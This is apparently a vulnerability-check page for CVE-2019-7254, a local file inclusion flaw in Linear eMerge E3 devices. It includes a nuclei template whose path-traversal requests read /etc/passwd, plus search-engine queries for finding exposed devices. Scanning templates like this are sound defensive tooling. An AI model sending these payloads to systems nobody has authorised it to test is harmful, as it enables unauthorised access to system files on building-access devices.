eMerge E3 1.00-06 - Local File Inclusion

highseverity

7.5CVSS score

81.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Linear eMerge E3-Series devices are vulnerable to local file inclusion.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.

Fix

Apply the latest security patch or update to a non-vulnerable version of eMerge E3.

How to confirm it

Send: GET {{BaseURL}}/?c=../../../../../../etc/passwd%00 ; GET {{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-7254 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-7254

info:
  name: eMerge E3 1.00-06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Linear eMerge E3-Series devices are vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47616
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
    - http://packetstormsecurity.com/files/155252/Linear-eMerge-E3-1.00-06-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7254
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7254
    cwe-id: CWE-22
    epss-score: 0.81872
    epss-percentile: 0.99652
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query: http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,lfi,edb,packetstorm,nortekcontrol,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?c=../../../../../../etc/passwd%00"
      - "{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from